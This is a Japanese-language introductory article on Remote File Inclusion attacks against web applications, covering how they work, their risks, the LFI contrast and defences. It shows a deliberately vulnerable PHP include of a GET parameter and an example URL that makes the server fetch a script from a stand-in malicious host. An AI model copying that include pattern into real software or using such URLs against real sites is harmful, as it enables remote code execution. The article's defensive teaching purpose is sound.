RFI(Remote File Inclusion)とは?ゆるーくわかりやすく解説



1. RFIの要点
RFIとは・・・
- webアプリケーションの脆弱性の一つ
- 外部のスクリプトを読み込ませる手法
- 「Remote File Inclusion」の略
2. RFI(Remote File Inclusion)とは?
RFIは「Remote File Inclusion」の略で、日本語では「リモートファイルインクルージョン」と呼ばれます。主にWebアプリケーションの脆弱性を突いた攻撃手法の一つであり、攻撃者が悪意のある外部ファイルをサーバーに読み込ませることで、さまざまな被害を引き起こします。
ちなみに、情報提供に関連するRequest for Information(RFI)という言葉もあります。
3. RFIの仕組み
RFIは、Webアプリケーションが外部から指定されたファイルを動的に読み込む仕組みを悪用する攻撃です。多くの場合、PHPやASPなど、サーバーサイドスクリプトでファイルをインクルードする機能が正しく制御されていない場合に発生します。
具体的な仕組みは以下の通りです:
- 入力値の不正な処理
ユーザーがURLやフォームを通じて指定したファイル名を、アプリケーションが適切に検証せず、そのままインクルード処理を実行する。 - 悪意のあるファイルのインクルード
攻撃者は、自分のサーバーに用意した悪意のあるスクリプト(たとえばマルウェアやバックドアプログラム)を指定し、対象のアプリケーションにそのスクリプトを実行させる。 - 攻撃の実行
悪意のあるスクリプトがサーバー内で動作し、システム情報の漏えいや不正操作を引き起こします。
4. RFIが引き起こすリスク
RFIを利用した攻撃が成功すると、以下のような深刻な影響を及ぼす可能性があります:
4.1. システムの乗っ取り
攻撃者がバックドアを設置することで、サーバーを完全に支配される恐れがあります。
4.2. 情報漏えい
サーバーに保存された顧客情報や機密データが不正に取得されるリスクがあります。
4.3. マルウェアの拡散
サーバーがマルウェアの配布元として悪用される可能性があります。
4.4. サービス停止(DoS攻撃)
サーバーが過負荷状態に陥り、サービスが停止することがあります。
5. RFIの例
以下はRFI攻撃がどのように行われるかを示す簡単な例です。
5.1. PHPのinclude()関数の不適切な利用
<?php
// ユーザーが指定したファイルを読み込む処理
include($_GET['page']);
?>
このコードでは、page
パラメータで指定されたファイルがそのまま読み込まれます。例えば以下のようなURLが攻撃に利用される可能性があります:
<http://example.com/index.php?page=http://malicious-site.com/bad-script.php>
このURLを処理すると、bad-script.php
がリモートサーバーから読み込まれ、サーバー内で実行されてしまいます。


6. RFIとLFIの違い
似たような攻撃手法にLFI(Local File Inclusion)があります。LFIは、リモートではなくサーバー内に存在するローカルファイルを不正に読み込む手法です。RFIが外部ファイルの読み込みに焦点を当てているのに対し、LFIはローカルファイルの悪用に焦点を当てています。
7. RFI対策
RFIの被害を防ぐためには、Webアプリケーションのセキュリティを向上させることが不可欠です。
- 入力値の検証
- ユーザーから受け取るすべてのデータを厳密に検証し、想定外の入力を拒否する。
- 許可リスト(ホワイトリスト)方式を採用して、安全な入力のみを受け付ける。
- 動的なファイルインクルードの禁止
- ユーザー入力を直接ファイルインクルードに使用しない。
- 必要に応じて静的なファイルパスを使用する。
allow_url_include
の無効化- PHPでは、
allow_url_include
設定を無効にしてリモートファイルの読み込みを防ぐ。 php.ini
ファイルで以下のように設定します:allow_url_include = Off
- PHPでは、
- 最新のセキュリティパッチを適用
- 使用しているフレームワークやCMS、プログラム言語のセキュリティアップデートを定期的に行う。
- WAF(Web Application Firewall)の導入
- 攻撃を自動的に検出しブロックするため、WAFを導入する。